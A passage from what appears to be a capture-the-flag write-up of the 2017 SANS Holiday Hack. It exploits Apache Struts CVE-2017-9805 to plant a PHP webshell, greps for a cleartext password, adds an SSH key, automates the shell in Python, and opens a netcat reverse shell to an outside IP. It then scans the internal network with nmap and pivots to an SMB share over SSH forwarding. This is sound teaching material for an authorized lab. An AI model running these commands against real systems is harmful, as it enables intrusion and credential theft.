/var/www/html/GreatBookPage2.pdf
  • Command Execution

    It looks like we found our web root. Let's try out the web shell they suggest in the hints from Josh Wright easy-simple-php-webshell.php. We'll output it to a random file in the web root then we can try to use it to execute commands using a browser.

    ./cve-2017-9805.py -c "wget -O /var/www/html/4beadb1e-5ddb-4636-98a4-c2dac0f79ab0.php
       https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/be4b2c021b284f21418f55b9d4496cdd3b3c86d8/easy-simple-php-webshell.php"
       -u https://dev.northpolechristmastown.com/orders.xhtml
    

    Now we can access https://l2s.northpolechristmastown.com/4beadb1e-5ddb-4636-98a4-c2dac0f79ab0.php and look around. If we do an ls in this webshell, it just returns the local directory, /var/www/html. Nothing in here suggests that we have the webroot for the dev server, https://dev.northpolechristmastown.com/.

    Let's run find to see if we can find the password in our webshell.

    find / -xdev -type f -user alabaster_snowball 2>/dev/null | xargs grep password
    

    Within the page full of results we see this:

    /opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class: final String password = "stream_unhappy_buy_loss";
    

    A closer look at OrderMySql.class using cat /opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class we find:

    final String username = "alabaster_snowball";
    final String password = "stream_unhappy_buy_loss";
    

    We can use Alabaster's account to login to the l2s system, which we'll need to use to pivot to other systems.

Solution

  • What is the topic of The Great Book page available in the web root of the server?

    Leveraging the Apache Struts vulnerability, we can run ls on the common web root of /var/www/html, and get the filename of the page, then download it via the web server. Opening it up, we see that the topic is:

    On the Topic of Flying Animals

  • What is Alabaster Snowball’s password?

    The trick here is just finding the right file, and the password is in cleartext in that file. We used find to grep all the files for "password".

    stream_unhappy_buy_loss

Alternatives

  • Add an authorized_key

    One thing you can do if you don't have the password yet is actually add an SSH key to Alabaster's authorized keys file. This is problematic since you need to know that the username is actually alabaster_snowball first. Assuming you do, you can run the following command to add your key to the file.

    The command we want to run is the following, taking care not to clobber any existing authorized keys:

    cd /home/alabaster_snowball
    # Make the .ssh directory, if it doesn't exist
    mkdir .ssh
    # ssh is very picky about permissions, so lock this down:
    chmod 700 .ssh
    cd .ssh
    
    # Create the authorized_keys file, if it doesn't exist
    touch authorized_keys
    # ...and lock it down
    chmod 600 authorized_keys
    
    # Append our key
    echo ssh-rsa VGhpcyBpcyBub3QgcmVhbGx5IGFuIFJTQSBrZXksIGJ1dCBoZXksIHdobyByZWFsbHkgbG9va3MgYXQgYmFzZTY0IGFueXdheQo= holiday@hack | 
      tee -a /home/alabaster_snowball/.ssh/authorized_keys
    

    For running this via the Struts exploit, we want this all as a one-liner. Let's break this up into two parts: first, we'll create the necessary directory and file, and ensure the permissions are correct, then we'll add our key:

    ./cve_2017_9805.py -u https://dev.northpolechristmastown.com/orders.xhtml -c 
      'cd /home/alabaster_snowball; mkdir .ssh; chmod 700 .ssh; cd .ssh; touch authorized_keys; chmod 600 authorized_keys'
    ./cve_2017_9805.py -u https://dev.northpolechristmastown.com/orders.xhtml -c 
      'echo ssh-rsa VGhpcyBpcyBub3QgcmVhbGx5IGFuIFJTQSBrZXksIGJ1dCBoZXksIHdobyByZWFsbHkgbG9va3MgYXQgYmFzZTY0IGFueXdheQo= holiday@hack | tee -a /home/alabaster_snowball/.ssh/authorized_keys'
    

    Then you can SSH in using your private key identity file.

    holiday@hack:~$ ssh -i /home/holiday/.ssh/sans_2017 alabaster_snowball@l2s.northpolechristmastown.com
    alabaster_snowball@l2s:/tmp/asnow.xq1pCkwT7LUy3iLl0AaBCc7D$ grep -A1 -R / -e alabaster_snowball
    /opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class: final String username = "alabaster_snowball";
    /opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class- final String password = "stream_unhappy_buy_loss";
    

    Once in you are in a restricted shell but you can try to grep for Alabaster's password but a regular grep against the entire system will take about 1 minute then you have to parse through the results.

  • Automate the webshell

    We can automate dropping a webshell and creating a mini shell to query it. Assuming we have https://github.com/chrisjd20/cve-2017-9805.py in the same directory we can create a script to automate exploitation and give us a prompt to execute commands.

    #!/usr/bin/env python
    from __future__ import print_function
    
    import base64
    import requests
    import sys
    
    from cve_2017_9805 import main as struts_exploit
    
    VULNERABLE_ENDPOINT = "https://dev.northpolechristmastown.com/orders.xhtml"
    BASE_URL = "https://l2s.northpolechristmastown.com/"
    WEBSHELL = "4beadb1e-5ddb-4636-98a4-c2dac0f79ab3.php"
    WEBSHELL_PAYLOAD = b'<?php system($_GET[cmd]); ?>\n'
    WEBSHELL_PAYLOAD_ENCODED = base64.encodestring(WEBSHELL_PAYLOAD).strip()
    
    ## Emulate this command:
    ## /cve-2017-9805.py -c 'echo PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo= | 
    ##    base64 -d > /var/www/html/4beadb1e-5ddb-4636-98a4-c2dac0f79ab0.php' -u https://dev.northpolechristmastown.com/orders.xhtml
    EXPLOIT_COMMAND = "echo {} | base64 -d > /var/www/html/{}".format(WEBSHELL_PAYLOAD_ENCODED, WEBSHELL)
    
    def run_command(command):
        url = BASE_URL + WEBSHELL
        request = requests.get(url, params={"cmd":command})
        if request.status_code == 404:
            return None
        return request.text
    
    #Main function
    def setup():
        # See if we can run the id command, and if so, we are good to go...
        out = run_command('id')
        if out and 'uid=' in out:
            return True
        sys.stderr.write("The webshell did not exist, re-exploiting.....\n")
        struts_exploit(VULNERABLE_ENDPOINT, EXPLOIT_COMMAND)
        out = run_command('id')
        if out and 'uid=' in out:
            return True
        sys.stderr.write("The struts exploit/webshell failed :-(\n")
        sys.exit(1)
    
    def interactive():
        setup()
        while True:
            try:
                cmd = raw_input("www-data@l2s:$ ")
            except EOFError:
                print()
                return
            print(run_command(cmd))
    
    def one_shot(command):
        setup()
        print(run_command(command))
    
    if __name__ == "__main__":
        if sys.argv[1:]:
            one_shot(' '.join(sys.argv[1:]))
        else:
            interactive()
    

    First we need to either rename cve-2017-9805.py to cve_2017_9805.py or create a symlink so it can be properly imported into our script. Then we can easily execute commands on l2s.

    holiday@hack:~$ ./l2s.py id
    The webshell did not exist, re-exploiting.....
    [+] Encoding Command
    [+] Building XML object
    [+] Placing command in XML object
    [+] Converting Back to String
    [+] Making Post Request with our payload
    [+] Payload executed
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
    holiday@hack:~$ ./l2s.py uname -a
    Linux hhc17-apache-struts1 4.9.0-5-amd64 #1 SMP Debian 4.9.65-3+deb9u2 (2018-01-04) x86_64 GNU/Linux
    
    holiday@hack:~$ ./l2s.py
    www-data@l2s:$ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
    www-data@l2s:$ uname -a
    Linux hhc17-apache-struts1 4.9.0-5-amd64 #1 SMP Debian 4.9.65-3+deb9u2 (2018-01-04) x86_64 GNU/Linux
    
  • Search even faster with ripgrep

    ripgrep is a super fast grep replacement written in rust. It does a better job at filtering binary files, so we can run this command that finishes in about a second.

    The following steps create a folder for ripgrep and executes the search.

    www-data@l2s:$ mkdir /tmp/.rg
    www-data@l2s:$ wget -q -O - https://github.com/BurntSushi/ripgrep/releases/download/0.7.1/ripgrep-0.7.1-x86_64-unknown-linux-musl.tar.gz | 
      tar xzf - -C /tmp/.rg/
    www-data@l2s:$ find / -type f -xdev -user alabaster_snowball 2>/dev/null | 
      xargs /tmp/.rg/ripgrep-0.7.1-x86_64-unknown-linux-musl/rg alabaster -A 1
    /opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class: final String username = "alabaster_snowball";
    /opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class- final String password = "stream_unhappy_buy_loss";
    
  • Get a full shell

    Getting a shell is actually fairly easy. Using the struts exploit we can redirect a bash shell through netcat back to our machine like this:

    ./cve-2017-9805.py -u https://dev.northpolechristmastown.com/orders.xhtml -c "nc -c /bin/bash 1.2.3.4 8080"
    
    holiday@hack:~$ nc -l -p 8080 -vvv
    Listening on [0.0.0.0] (family 0, port 8080)
    Connection from [35.227.53.70] port 8080 [tcp/http-alt] accepted (family 2, sport 48164)
    id
    uid=1003(alabaster_snowball) gid=1004(alabaster_snowball) groups=1004(alabaster_snowball)
    pwd
    /
    

Common Pitfalls

A common pitfall is the blind injection aspect of the Apache Struts exploit. There were a couple of ways around this:

  • Using the /dev/tcp trick like we did,
  • Redirect the output to /var/www/html/$filename, and then accessing that via the web interface,
  • Piping the output to netcat.

Finding the password was also tricky. Luckily, there weren't many files on this system, so we could just grep everything, but another option would've been to look for files that had been modified around the time the system was installed.

Trying to compromise the l2s app itself was a dead end. Once we have command execution we can see that the process.php script is simply:

if ($_POST["first_name"] && $_POST["age"] && $_POST["state"] && $_POST["city"] && $_POST["toy"] && $_POST["message"] && $_POST["sex"]) {
    echo "Letter has been sent to Santa!";
} else {
    echo "Error missing parameters";
}

About the Challenge

Initially the host had a couple of noticeable holes.

  • Apache server running as alabaster_snowball (eventually changed to www-data user)
  • Easy bypass of rbash by adding the -t flag and executing bash on SSH login (eventually rbash was forced through /etc/ssh/sshd_config)

The server itself housed two virtual web hosts, the Letters to Santa application which ran PHP in nginx and the Development site which was run by Apache Struts on a high port being redirected by nginx.

Moving Foward

Now that we have a script to automate access to l2s let's run nmap to scan the internal network.

holiday@hack:~$ ./l2s.py "nmap -sC 10.142.0.*"

Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-09 20:51 UTC
Nmap scan report for hhc17-l2s-proxy.c.holidayhack2017.internal (10.142.0.2)
Host is up (0.00018s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
| ssh-hostkey:
|   2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA)
|_  256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA)
80/tcp   open  http
|_http-title: Did not follow redirect to https://hhc17-l2s-proxy.c.holidayhack2017.internal/
443/tcp  open  https
|_http-title: Toys List
| ssl-cert: Subject: commonName=dev.northpolechristmastown.com
| Subject Alternative Name: DNS:dev.northpolechristmastown.com, DNS:l2s.northpolechristmastown.com
| Not valid before: 2017-11-29T12:54:54
|_Not valid after:  2018-02-27T12:54:54
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_  http/1.1
2222/tcp open  EtherNetIP-1

Nmap scan report for hhc17-apache-struts1.c.holidayhack2017.internal (10.142.0.3)
Host is up (0.00017s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey:
|   2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA)
|_  256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA)
80/tcp open  http
|_http-title: Toys List

Nmap scan report for mail.northpolechristmastown.com (10.142.0.5)
Host is up (0.00018s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
| ssh-hostkey:
|   2048 a2:c4:67:fe:a2:d9:df:47:02:55:35:1a:f4:1b:b6:02 (RSA)
|_  256 9e:d4:01:d1:71:be:95:90:68:6e:ee:87:28:42:49:8e (ECDSA)
25/tcp   open  smtp
|_smtp-commands: mail.northpolechristmastown.com, PIPELINING, SIZE 10240000, ETRN, AUTH PLAIN LOGIN, AUTH=PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
80/tcp   open  http
| http-robots.txt: 1 disallowed entry
|_/cookie.txt
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
143/tcp  open  imap
|_imap-capabilities: more AUTH=PLAIN capabilities have OK Pre-login AUTH=LOGINA0001 ENABLE listed SASL-IR IDLE post-login LITERAL+ IMAP4rev1 LOGIN-REFERRALS ID
2525/tcp open  ms-v-worlds
3000/tcp open  ppp

Nmap scan report for edb.northpolechristmastown.com (10.142.0.6)
Host is up (0.00014s latency).
Not shown: 996 closed ports
PORT     STATE    SERVICE
22/tcp   open     ssh
| ssh-hostkey:
|   2048 73:de:22:15:7b:53:13:85:a7:a5:8f:10:3a:5d:3b:3f (RSA)
|_  256 f5:d7:f3:5d:dc:7c:73:10:cc:f7:a4:c7:f0:d9:61:0c (ECDSA)
80/tcp   open     http
| http-robots.txt: 1 disallowed entry
|_/dev
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was http://edb.northpolechristmastown.com/index.html
389/tcp  filtered ldap
8080/tcp open     http-proxy
| http-robots.txt: 1 disallowed entry
|_/dev
|_http-title: Did not follow redirect to http://edb.northpolechristmastown.com/index.html

Nmap scan report for hhc17-emi.c.holidayhack2017.internal (10.142.0.8)
Host is up (0.00021s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE
80/tcp   open  http
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
| ssl-cert: Subject: commonName=hhc17-smb-server
| Not valid before: 2017-11-06T13:46:55
|_Not valid after:  2018-05-08T13:46:55
|_ssl-date: 2018-01-09T20:51:47+00:00; 0s from scanner time.

Host script results:
|_nbstat: NetBIOS name: HHC17-SMB-SERVE, NetBIOS user: <unknown>, NetBIOS MAC: 42:01:0a:8e:00:08 (unknown)
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol

Nmap scan report for hhc17-apache-struts2.c.holidayhack2017.internal (10.142.0.11)
Host is up (0.00021s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
| ssh-hostkey:
|   2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA)
|_  256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA)
80/tcp   open  http
|_http-title: Toys List
4444/tcp open  krb524

Nmap scan report for eaas.northpolechristmastown.com (10.142.0.13)
Host is up (0.00078s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE
80/tcp   open  http
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Index - North Pole Engineering Presents: EaaS!
3389/tcp open  ms-wbt-server
| ssl-cert: Subject: commonName=hhc17-elf-manufacturing
| Not valid before: 2017-11-23T20:53:55
|_Not valid after:  2018-05-25T20:53:55
|_ssl-date: 2018-01-09T20:51:47+00:00; 0s from scanner time.

Post-scan script results:
| clock-skew:
|   0s:
|     10.142.0.13 (eaas.northpolechristmastown.com)
|_    10.142.0.8 (hhc17-emi.c.holidayhack2017.internal)
| ssh-hostkey: Possible duplicate hosts
| Key 256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA) used by:
|   10.142.0.2
|   10.142.0.3
|   10.142.0.11
| Key 2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA) used by:
|   10.142.0.2
|   10.142.0.3
|_  10.142.0.11
Nmap done: 256 IP addresses (7 hosts up) scanned in 14.86 seconds

SMB: Windows Fileshare

Question

The North Pole engineering team uses a Windows SMB server for sharing documentation and correspondence. Using your access to the Letters to Santa server, identify and enumerate the SMB file-sharing server. What is the file server share name?

/For hints, please see Holly Evergreen in the Cryokinetic Magic Level.

Background Information

Holly's hints are:

Nmap has default host discovery checks that may not discover all hosts. To customize which ports Nmap looks for during host discovery, use `-PS` with a port number, such as `-PS123` to check TCP port 123 to determine if a host is up.

Alabaster likes to keep life simple. He chooses a strong password, and sticks with it.

The Letters to Santa server is limited in what commands are available. Fortunately, SSH has enough flexibility to make access through the Letters server a fruitcake-walk.

Have you used port forwarding with SSH before? It's pretty amazing! [Here is a quick guide](https://help.ubuntu.com/community/SSH/OpenSSH/PortForwarding).

Windows users can use SSH port forwarding too, using PuTTY! [Here is a quick guide for Windows users](https://blog.devolutions.net/2017/04/how-to-configure-an-ssh-tunnel-on-putty.html).

Sometimes it's better to use a Linux system as the SSH port forwarder, and interact with a Linux system from a Windows box. For example, running `ssh -L :445:SMBSERVERIP:445 username@sshserver` will allow you to access your Linux server's IP, which will forward directly to the SMB server over SSH.

Linux systems can also interact with a Windows server using the smbclient utility: `smbclient -L smbserverorforwarder -U username`.

The scope statement calls out systems on 10.142.0.0/24 as being in scope:

SCOPE: For this entire challenge, you are authorized to attack ONLY the Letters to Santa system at l2s.northpolechristmastown.com AND other systems on the internal 10.142.0.0/24 network that you access through the Letters to Santa system.

The question mentions pivoting through the Letters to Santa server (l2s). A commonly used tool for network discovery is nmap, and we can check that it's available on l2s:

alabaster_snowball@hhc17-apache-struts1:/tmp/asnow.VmaV55tqZi5rteO9fXHB3kjM$ nmap -V

Nmap version 7.40 ( https://nmap.org )
Platform: x86_64-pc-linux-gnu
Compiled with: liblua-5.3.3 openssl-1.1.0c libpcre-8.39 libpcap-1.8.1 nmap-libdnet-1.12 ipv6
Compiled without:
Available nsock engines: epoll poll select

There's a great nmap overview available here: https://nmap.org/book/nmap-overview-and-demos.html

We also know that the SMB suite of protocols uses a lot of ports, but 445 is one of the main ones.

This post on the SANS Pen Testing Blog seems relevant, but masscan isn't installed on l2s:

Goal

Three separate things:

  1. Identify the SMB server,
  2. Enumerate the shares on it,
  3. Name the file server share.

Approach

Let's follow the nmap overview.

Being the careful type, Felix first starts out with what is known as an Nmap list scan (-sL option). This feature simply enumerates every IP address in the given target netblock(s) and does a reverse-DNS lookup (unless -n was specified) on each. One reason to do this first is stealth. The names of the hosts can hint at potential vulnerabilities and allow for a better understanding of the target network, all without raising alarm bells.

alabaster_snowball@hhc17-apache-struts1:/tmp/asnow.sjKK74OSjKfIxlr5otQil8yd$ nmap -sL 10.142.0.0/24

Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-08 02:40 UTC
Nmap scan report for 10.142.0.0
Nmap scan report for 10.142.0.1
Nmap scan report for hhc17-l2s-proxy.c.holidayhack2017.internal (10.142.0.2)
Nmap scan report for hhc17-apache-struts1.c.holidayhack2017.internal (10.142.0.3)
Nmap scan report for 10.142.0.4
Nmap scan report for mail.northpolechristmastown.com (10.142.0.5)
Nmap scan report for edb.northpolechristmastown.com (10.142.0.6)
Nmap scan report for hhc17-smb-server.c.holidayhack2017.internal (10.142.0.7)
Nmap scan report for hhc17-emi.c.holidayhack2017.internal (10.142.0.8)
Nmap scan report for 10.142.0.9
Nmap scan report for 10.142.0.10
Nmap scan report for hhc17-apache-struts2.c.holidayhack2017.internal (10.142.0.11)
Nmap scan report for 10.142.0.12
Nmap scan report for eaas.northpolechristmastown.com (10.142.0.13)
Nmap scan report for 10.142.0.14
Nmap scan report for 10.142.0.15
...

Parsing the results a bit:

Hostname IP
hhc17-l2s-proxy 10.142.0.2
hhc17-apache-struts1 10.142.0.3
mail 10.142.0.5
edb 10.142.0.6
hhc17-smb-server 10.142.0.7
hhc17-emi 10.142.0.8
hhc17-apache-struts2 10.142.0.11
eaas 10.142.0.13

One of the systems is named hhc17-smb-server.

Continuing with the overview, we can now narrow in on a single IP. This is the same technique suggested in one of the hints:

alabaster_snowball@hhc17-apache-struts1:/tmp/asnow.sjKK74OSjKfIxlr5otQil8yd$ nmap -p- -PS445 -A -T4 -oA avatartcpscan-%D 10.142.0.7

Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-08 02:51 UTC
Nmap scan report for hhc17-smb-server.c.holidayhack2017.internal (10.142.0.7)
Host is up (0.00040s latency).
Not shown: 65527 filtered ports
PORT      STATE SERVICE            VERSION
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp  open  ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=hhc17-emi
| Not valid before: 2017-11-06T13:51:23
|_Not valid after:  2018-05-08T13:51:23
|_ssl-date: 2018-01-08T02:54:30+00:00; 0s from scanner time.
5985/tcp  open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=hhc17-emi
| Subject Alternative Name: DNS:hhc17-emi
| Not valid before: 2017-11-07T13:52:11
|_Not valid after:  2018-11-07T13:52:11
|_ssl-date: 2018-01-08T02:54:30+00:00; 0s from scanner time.
49666/tcp open  msrpc              Microsoft Windows RPC
49668/tcp open  msrpc              Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: HHC17-EMI, NetBIOS user: <unknown>, NetBIOS MAC: 42:01:0a:8e:00:07 (unknown)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 205.99 seconds

So it does indeed seem to be an SMB server. A command-line tool to access it is smbclient:

alabaster_snowball@hhc17-apache-struts1:/tmp/asnow.sjKK74OSjKfIxlr5otQil8yd$ smbclient -L 10.142.0.7 -U alabaster_snowball
rbash: smbclient: command not found

It's not available on l2s. Another option is forwarding a port through SSH:

user@vps $ ssh alabaster_snowball@l2s.northpolechristmastown.com -O forward -L 4445:10.142.0.7:445

Now we can access port 445 on hhc17-smb-server via port 4445 on localhost:

user@vps $ smbclient -L localhost -p 4445 -U alabaster_snowball
WARNING: The "syslog" option is deprecated
Enter alabaster_snowball's password: 
Domain=[HHC17-EMI] OS=[Windows Server 2016 Datacenter 14393] Server=[Windows Server 2016 Datacenter 6.3]

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	FileStor        Disk
	IPC$            IPC       Remote IPC
Connection to localhost failed (Error NT_STATUS_CONNECTION_REFUSED)
NetBIOS over TCP disabled -- no workgroup available

FileStor looks interesting. Let's see what's on it:

user@vps $ smbclient //localhost/FileStor -p 4445 -U alabaster_snowball
WARNING: The "syslog" option is deprecated
Enter alabaster_snowball's password:
Domain=[HHC17-EMI] OS=[Windows Server 2016 Datacenter 14393] Server=[Windows Server 2016 Datacenter 6.3]
smb: \> ls
  .                                   D        0  Wed Dec  6 16:51:46 2017
  ..                                  D        0  Wed Dec  6 16:51:46 2017
  BOLO - Munchkin Mole Report.docx      A   255520  Wed Dec  6 16:44:17 2017
  GreatBookPage3.pdf                  A  1275756  Mon Dec  4 14:21:44 2017
  MEMO - Calculator Access for Wunorse.docx      A   111852  Mon Nov 27 14:01:36 2017
  MEMO - Password Policy Reminder.docx      A   133295  Wed Dec  6 16:47:28 2017
  Naughty and Nice List.csv           A    10245  Thu Nov 30 14:42:00 2017
  Naughty and Nice List.docx          A    60344  Wed Dec  6 16:51:25 2017

		13106687 blocks of size 4096. 9624115 blocks available
smb: \> mget *
getting file \BOLO - Munchkin Mole Report.docx of size 255520 as BOLO - Munchkin Mole Report.docx (1094.4 KiloBytes/sec) (average 1094.4 KiloBytes/sec)
getting file \GreatBookPage3.pdf of size 1275756 as GreatBookPage3.pdf (2818.7 KiloBytes/sec) (average 2231.9 KiloBytes/sec)
getting file \MEMO - Calculator Access for Wunorse.docx of size 111852 as MEMO - Calculator Access for Wunorse.docx (666.0 KiloBytes/sec) (average 1924.0 KiloBytes/sec)
getting file \MEMO - Password Policy Reminder.docx of size 133295 as MEMO - Password Policy Reminder.docx (834.4 KiloBytes/sec) (average 1752.3 KiloBytes/sec)
getting file \Naughty and Nice List.csv of size 10245 as Naughty and Nice List.csv (99.1 KiloBytes/sec) (average 1599.3 KiloBytes/sec)
getting file \Naughty and Nice List.docx of size 60344 as Naughty and Nice List.docx (390.3 KiloBytes/sec) (average 1452.3 KiloBytes/sec)

Solution

We used nmap to list our targets, and found hhc17-smb-server. We used SSH forwarding to connect to it with smbclient. We used the credentials we found for question 2 to connect.

Common Pitfalls

It looks like hhc17-smb-server blocks pings. By default, nmap uses pings to determine which hosts are up, and which it should scan further. We used the "list scan," which just did reverse DNS queries, and were able to identify the system quickly. If, however, someone just tried to run nmap -p 445 10.142.0.0/24, they wouldn't find the system.

It also looked like two systems were mixed up in NetBIOS and RDP SSL cert names:

Nmap scan report for hhc17-smb-server.c.holidayhack2017.internal (10.142.0.7)
...
3389/tcp  open  ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=hhc17-emi
...
Host script results:
| nbstat: NetBIOS name: HHC17-EMI, NetBIOS user: <unknown>, NetBIOS MAC: 42:01:0a:8e:00:07 (unknown)
...
Nmap scan report for hhc17-emi.c.holidayhack2017.internal (10.142.0.8)
...
3389/tcp  open  ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=hhc17-smb-server
...
Host script results:
| nbstat: NetBIOS name: HHC17-SMB-SERVE, NetBIOS user: <unknown>, NetBIOS MAC: 42:01:0a:8e:00:08 (unknown)

EWA: AES Bypass

Question

Elf Web Access (EWA) is the preferred mailer for North Pole elves, available internally at http://mail.northpolechristmastown.com/. What can you learn from The Great Book page found in an e-mail on that server?

Pepper Minstix provides some hints for this challenge on the There's Snow Place Like Home Level.

Background Information

Pepper Minstix gives us the following hints:

I'm so excited for the new email system that Alabaster Snowball set up for us. He spent a lot of time working on it. Should make it very easy for us to share cookie recipes. I just hope that he cleared up all his dev files. I know he was working on keeping the dev files from search engine indexers.

The new email system's authentication should be impenetrable. Alabaster was telling me that he came up with his own encryption scheme using AES256, so you know it's secure.

AES256? Honestly, I don't know much about it, but Alabaster explained the basic idea and it sounded easy. During decryption, the first 16 bytes are removed and used as the initialization vector or "IV." Then the IV + the secret key are used with AES256 to decrypt the remaining bytes of the encrypted string.

Hmmm. That's a good question, I'm not sure what would happen if the encrypted string was only 16 bytes long.

Every year when Santa gets back from delivering presents to the good girls and boys, he tells us stories about all the cookies he receives. I love everything about cookies! Cooking them, eating them, editing them, decorating them, you name it!

Goal

The question tells us that the page we're looking for is in an e-mail. So, we need to figure out some way to login to the mail system and find the crucial message.

Approach

First off, let's pull up the website in our web browser. SSH can run a SOCKS proxy for us, which we can use to tunnel our traffic through l2s. We use the access we got in Question 2 to SSH in:

ssh -D 31080 alabaster_snowball@l2s.northpolechristmastown.com

I like to use Firefox for this, since, unlike Chrome, we can configure proxy settings different from the system-wide settings:

firefox_proxy.png

Figure 14: Elf Web Access

Now we can just navigate to http://mail.northpolechristmastown.com/:

ewa.png

Figure 15: Elf Web Access

Luckily, we got Alabaster's password in Question 2, so let's login!

bad_email.png

Figure 16: Logging in as alabaster_snowball/stream_unhappy_buy_loss

Of course! We need an e-mail address:

bad_username.png

Figure 17: Logging in as alabaster_snowball@northpolechristmastown.com/stream_unhappy_buy_loss

Luckily, the error message tells us how we need to format the e-mail address:

bad_password.png

Figure 18: Logging in as alabaster_snowball@northpolechristmastown.com/stream_unhappy_buy_loss

Curses! Looks like Alabaster is at least smart enough to not reuse credentials. At least he's following the password policy:

password_policy.png

Figure 19: MEMO - Password Policy Reminder.docx from the SMB FileStor

Let's review some of the hints that Pepper gave us:

I just hope that he cleared up all his dev files. I know he was working on keeping the dev files from search engine indexers.

We scanned this EWA system with nmap before, and one of the nmap scripts did find a reference in robots.txt:

80/tcp   open  http
| http-robots.txt: 1 disallowed entry
|_/cookie.txt
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

Given how much Pepper harps on cookies, perhaps this file is worth investigating. When we view it, we see:

//FOUND THESE FOR creating and validating cookies. Going to use this in node js
function cookie_maker(username, callback){
    var key = 'need to put any length key in here';
    //randomly generates a string of 5 characters
    var plaintext = rando_string(5)
    //makes the string into cipher text .... in base64. When decoded this 21 bytes in total length. 16 bytes for IV and 5 byte of random characters
    //Removes equals from output so as not to mess up cookie. decrypt function can account for this without erroring out.
    var ciphertext = aes256.encrypt(key, plaintext).replace(/\=/g,'');
    //Setting the values of the cookie.
    var acookie = ['IOTECHWEBMAIL',JSON.stringify({"name":username, "plaintext":plaintext,  "ciphertext":ciphertext}), { maxAge: 86400000, httpOnly: true, encode: String }]
    return callback(acookie);
};
function cookie_checker(req, callback){
    try{
        var key = 'need to put any length key in here';
        //Retrieving the cookie from the request headers and parsing it as JSON
        var thecookie = JSON.parse(req.cookies.IOTECHWEBMAIL);
        //Retrieving the cipher text 
        var ciphertext = thecookie.ciphertext;
        //Retrievingin the username
        var username = thecookie.name
        //retrieving the plaintext
        var plaintext = aes256.decrypt(key, ciphertext);
        //If the plaintext and ciphertext are the same, then it means the data was encrypted with the same key
        if (plaintext === thecookie.plaintext) {
            return callback(true, username);
        } else {
            return callback(false, '');
        }
    } catch (e) {
        console.log(e);
        return callback(false, '');
    }
};

There's a lot to parse here, but given the number of times AES and IVs are mentioned in the hints, this looks like we're on the right path.

Our next hint is:

The new email system's authentication should be impenetrable. Alabaster was telling me that he came up with his own encryption scheme using AES256, so you know it's secure.

Uh-oh… Coming up with your own cryptography scheme should send up all the red flags.

Happy families are all alike; every unhappy family is unhappy in its own way. – Leo Tolstoy

Empty plaintext encrypted without using HMAC are all alike; Rolling your own crypto makes all cryptographers unhappy. – Justin Azoff

At this point, we suspect that there's some kind of vulnerability in the cryptography being used. Reading on:

